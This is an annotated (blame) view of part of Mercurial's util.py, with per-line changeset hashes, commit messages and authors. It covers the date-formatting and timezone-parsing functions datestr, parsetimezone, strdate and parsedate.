78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
  2316
             datetime.datetime.fromtimestamp(timestamp))
15505
ae04af1ce78d makedate: wrong timezone offset if DST rules changed this year (issue2511)
Dmitry Panov <dop@itoolabs.com>
parents: 15496
diff changeset
  2317
    tz = delta.days * 86400 + delta.seconds
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
  2318
    return timestamp, tz
1329
8f06817bf266 Allow files to be opened in text mode, even on Windows.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1321
diff changeset
  2319
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
  2320
def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1321
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
  2321
    """represent a (unixtime, offset) tuple as a localized time.
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
  2322
    unixtime is seconds since the epoch, and offset is the time zone's
28865
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2323
    number of seconds away from UTC.
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2324
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2325
    >>> datestr((0, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2326
    'Thu Jan 01 00:00:00 1970 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2327
    >>> datestr((42, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2328
    'Thu Jan 01 00:00:42 1970 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2329
    >>> datestr((-42, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2330
    'Wed Dec 31 23:59:18 1969 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2331
    >>> datestr((0x7fffffff, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2332
    'Tue Jan 19 03:14:07 2038 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2333
    >>> datestr((-0x80000000, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2334
    'Fri Dec 13 20:45:52 1901 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
  2335
    """
1321
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
  2336
    t, tz = date or makedate()
19989
c38c3fdc8b93 date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents: 19951
diff changeset
  2337
    if "%1" in format or "%2" in format or "%z" in format:
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
  2338
        sign = (tz > 0) and "-" or "+"
9029
0001e49f1c11 compat: use // for integer division
Alejandro Santos <alejolp@alejolp.com>
parents: 8938
diff changeset
  2339
        minutes = abs(tz) // 60
27066
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
  2340
        q, r = divmod(minutes, 60)
19989
c38c3fdc8b93 date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents: 19951
diff changeset
  2341
        format = format.replace("%z", "%1%2")
27066
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
  2342
        format = format.replace("%1", "%c%02d" % (sign, q))
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
  2343
        format = format.replace("%2", "%02d" % r)
28825
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2344
    d = t - tz
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2345
    if d > 0x7fffffff:
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2346
        d = 0x7fffffff
28864
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
  2347
    elif d < -0x80000000:
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
  2348
        d = -0x80000000
28825
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2349
    # Never use time.gmtime() and datetime.datetime.fromtimestamp()
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2350
    # because they use the gmtime() system call which is buggy on Windows
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2351
    # for negative values.
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
  2352
    t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
31449
756175623f2e py3: call strftime() with native str type
Yuya Nishihara <yuya@tcha.org>
parents: 31448
diff changeset
  2353
    s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1987
04c17fc39c84 add changelog style to command line template.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1976
diff changeset
  2354
    return s
1829
b0f6af327fd4 hgwebdir: export collections of repos
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
  2355
6134
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
  2356
def shortdate(date=None):
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
  2357
    """turn (timestamp, tzoff) tuple into iso 8631 date."""
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
  2358
    return datestr(date, format='%Y-%m-%d')
6134
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
  2359
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2360
def parsetimezone(s):
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2361
    """find a trailing timezone, if any, in string, and return a
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2362
       (offset, remainder) pair"""
36551
98d4c642d7f2 py3: fix string slicing in util.parsetimezone()
Yuya Nishihara <yuya@tcha.org>
parents: 36539
diff changeset
  2363
    s = pycompat.bytestr(s)
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2364
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2365
    if s.endswith("GMT") or s.endswith("UTC"):
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2366
        return 0, s[:-3].rstrip()
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2367
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2368
    # Unix-style timezones [+-]hhmm
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2369
    if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2370
        sign = (s[-5] == "+") and 1 or -1
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2371
        hours = int(s[-4:-2])
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2372
        minutes = int(s[-2:])
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2373
        return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2374
29637
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2375
    # ISO8601 trailing Z
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2376
    if s.endswith("Z") and s[-2:-1].isdigit():
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2377
        return 0, s[:-1]
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2378
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2379
    # ISO8601-style [+-]hh:mm
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2380
    if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2381
        s[-5:-3].isdigit() and s[-2:].isdigit()):
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2382
        sign = (s[-6] == "+") and 1 or -1
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2383
        hours = int(s[-5:-3])
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2384
        minutes = int(s[-2:])
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2385
        return -sign * (hours * 60 + minutes) * 60, s[:-6]
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
  2386
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2387
    return None, s
26126
7b625baed995 util: extract function that parses timezone string
Yuya Nishihara <yuya@tcha.org>
parents: 26098
diff changeset
  2388
31393
8b6927eb7efd util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31368
diff changeset
  2389
def strdate(string, format, defaults=None):
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2390
    """parse a localized time string and return a (unixtime, offset) tuple.
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2391
    if the string cannot be parsed, ValueError is raised."""
31465
da83f12d7a88 util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31453
diff changeset
  2392
    if defaults is None:
da83f12d7a88 util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31453
diff changeset
  2393
        defaults = {}
31393
8b6927eb7efd util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31368
diff changeset
  2394
3255
e96d2956eb4a util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents: 3176
diff changeset
  2395
    # NOTE: unixtime = localunixtime + offset
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
  2396
    offset, date = parsetimezone(string)
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
  2397
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2398
    # add missing elements from defaults
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2399
    usenow = False # default to using biased defaults
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2400
    for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
32154
52e222eef646 py3: use pycompat.bytestr instead of bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32153
diff changeset
  2401
        part = pycompat.bytestr(part)
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2402
        found = [True for p in part if ("%"+p) in format]
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2403
        if not found:
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2404
            date += "@" + defaults[part][usenow]
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2405
            format += "@%" + part[0]
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2406
        else:
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2407
            # We've found a specific time element, less specific time
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2408
            # elements are relative to today
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2409
            usenow = True
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
  2410
32290
2959c3e986e0 py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32208
diff changeset
  2411
    timetuple = time.strptime(encoding.strfromlocal(date),
2959c3e986e0 py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32208
diff changeset
  2412
                              encoding.strfromlocal(format))
3256
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2413
    localunixtime = int(calendar.timegm(timetuple))
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2414
    if offset is None:
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2415
        # local timezone
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2416
        unixtime = int(time.mktime(timetuple))
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2417
        offset = unixtime - localunixtime
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2418
    else:
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
  2419
        unixtime = localunixtime + offset
3255
e96d2956eb4a util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents: 3176
diff changeset
  2420
    return unixtime, offset
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2421
26311
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
  2422
def parsedate(date, formats=None, bias=None):
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2423
    """parse a localized date/time and return a (unixtime, offset) tuple.
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2424
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2425
    The date may be a "unixtime offset" string or in one of the specified
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2426
    formats. If the date already is a (unixtime, offset) tuple, it is returned.
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2427
34362
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2428
    >>> parsedate(b' today ') == parsedate(
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2429
    ...     datetime.date.today().strftime('%b %d').encode('ascii'))
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2430
    True
34362
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2431
    >>> parsedate(b'yesterday ') == parsedate(
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2432
    ...     (datetime.date.today() - datetime.timedelta(days=1)
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2433
    ...      ).strftime('%b %d').encode('ascii'))
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2434
    True
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2435
    >>> now, tz = makedate()
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  2436
    >>> strnow, strtz = parsedate(b'now')
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2437
    >>> (strnow - now) < 1
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2438
    True
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2439
    >>> tz == strtz
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2440
    True
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2441
    """
26311
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
  2442
    if bias is None:
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
  2443
        bias = {}
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2444
    if not date:
3807
e43b48f0f718 parsedate: allow '' for epoch
Matt Mackall <mpm@selenic.com>
parents: 3806
diff changeset
  2445
        return 0, 0
6230
c7253d1a774e dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents: 6229
diff changeset
  2446
    if isinstance(date, tuple) and len(date) == 2:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2447
        return date
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
  2448
    if not formats:
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
  2449
        formats = defaultdateformats
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2450
    date = date.strip()
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2451
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
  2452
    if date == 'now' or date == _('now'):
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
  2453
        return makedate()
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
  2454
    if date == 'today' or date == _('today'):
34362
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2455
        date = datetime.date.today().strftime(r'%b %d')
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2456
        date = encoding.strtolocal(date)
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
  2457
    elif date == 'yesterday' or date == _('yesterday'):
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2458
        date = (datetime.date.today() -
34362
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2459
                datetime.timedelta(days=1)).strftime(r'%b %d')
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
  2460
        date = encoding.strtolocal(date)
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
  2461
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
  2462
    try:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2463
        when, offset = map(int, date.split(' '))
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2464
    except ValueError:
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2465
        # fill out defaults
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2466
        now = makedate()
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2467
        defaults = {}
13200
6f011cf52f9a avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents: 13197
diff changeset
  2468
        for part in ("d", "mb", "yY", "HI", "M", "S"):
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2469
            # this piece is for rounding the specific end of unknowns
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2470
            b = bias.get(part)
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2471
            if b is None:
32153
6f173560c7f4 py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32123
diff changeset
  2472
                if part[0:1] in "HMS":
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2473
                    b = "00"
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2474
                else:
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2475
                    b = "0"
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2476
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2477
            # this piece is for matching the generic end to today's date
32153
6f173560c7f4 py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32123
diff changeset
  2478
            n = datestr(now, "%" + part[0:1])
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2479
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
  2480
            defaults[part] = (b, n)
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
  2481
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2482
        for format in formats:
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2483
            try:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
  2484
                when, offset = strdate(date, format, defaults)
6087
12856a1742dc better handle errors with date parsing (issue983)
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 5917
diff changeset
  2485
            except (ValueError, OverflowError):
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2486
                pass
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2487
            else:
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2488
                break
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2489
        else:
36539
0c2eeaca0577 util: use pycompat.bytestr() on repr() in date parse abort
Augie Fackler <augie@google.com>
parents: 36525
diff changeset
  2490
            raise error.ParseError(
0c2eeaca0577 util: use pycompat.bytestr() on repr() in date parse abort
Augie Fackler <augie@google.com>
parents: 36525
diff changeset
  2491
                _('invalid date: %r') % pycompat.bytestr(date))
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2492
    # validate explicit (probably user-specified) date and
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2493
    # time zone offset. values must fit in signed 32 bits for
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2494
    # current 32-bit linux runtimes. timezones go from UTC-12
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2495
    # to UTC+14
28864
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
  2496
    if when < -0x80000000 or when > 0x7fffffff:
32462
bb18728ea617 util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents: 32407
diff changeset
  2497
        raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2498
    if offset < -50400 or offset > 43200:
32462
bb18728ea617 util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents: 32407
diff changeset
  2499
        raise error.ParseError(_('impossible time zone offset: %d') % offset)
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
  2500
    return when, offset
2522
